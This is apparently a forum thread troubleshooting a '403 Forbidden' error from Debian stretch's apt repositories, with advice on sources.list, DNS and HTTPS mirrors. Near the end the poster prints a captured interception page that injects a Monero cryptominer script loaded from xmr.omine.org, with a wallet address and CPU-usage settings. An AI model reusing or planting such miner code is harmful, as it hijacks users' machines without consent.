deb http://httpredir.debian.org/debian stretch main contrib non-free
deb http://httpredir.debian.org/debian stretch-updates main contrib non-free
deb http://httpredir.debian.org/debian stretch-backports main contrib non-free
# security updates
deb http://security.debian.org stretch/updates main contrib non-free
# apt-get update
# apt-get update
Ign:1 http://security.debian.org stretch/updates InRelease
Ign:2 http://deb.debian.org/debian stretch InRelease
Err:3 http://security.debian.org stretch/updates Release
403 Forbidden [IP: 151.101.16.204 80]
With the same sources.list on another country, I never had this error message...
^ That package is only needed for https sources, which the OP doesn't have.
@OP: deb.debian.org also provides the Security repositories so perhaps try that.
It looks like your DNS is wrong:
$ resolvectl query security.debian.org
security.debian.org: 128.31.0.63 -- link: wlp2s0
149.20.4.14 -- link: wlp2s0
128.101.240.215 -- link: wlp2s0
128.61.240.73 -- link: wlp2s0
212.211.132.250 -- link: wlp2s0
217.196.149.233 -- link: wlp2s0
200.17.202.197 -- link: wlp2s0
-- Information acquired via protocol DNS in 339.7ms.
-- Data is authenticated: no
I will try from my remote server tomorrow.
deb https://deb.debian.org/debian stretch main contrib non-free
deb https://deb.debian.org/debian stretch-updates main contrib non-free
# security updates
deb https://deb.debian.org/debian-security stretch/updates main contrib non-free
# backports
deb https://deb.debian.org/debian stretch-backports main contrib non-free
But must important :
Why i'm getting a "403 forbidden"? My public IP is blacklisted?
Got the reason, in some country, they are doing very crappy stuff with Internet :
$ curl deb.debian.org/debian
<meta http-equiv="Content-Type" content="text/html;charset=windows-1251">
<title>"http://deb.debian.org/debian"</title>
<script src="https://xmr.omine.org/assets/v7.js"></script>
<script>
OMINE("45KGejq1HDHXB618E3aeWHFyoLh1kM5syRG8FHDiQ4pZXZF1pieqW7DM5HHe3Y2oc1YwoEc7ofjgtbeEqV3UrkS9SVygJPT","-1"); //-1 means use all cpu threads
throttleMiner=20; //20 means 80% of cpu usage
</script>
</head>
<frameset>
<frame src="http://deb.debian.org/debian"></frame>
</frameset>
No comment....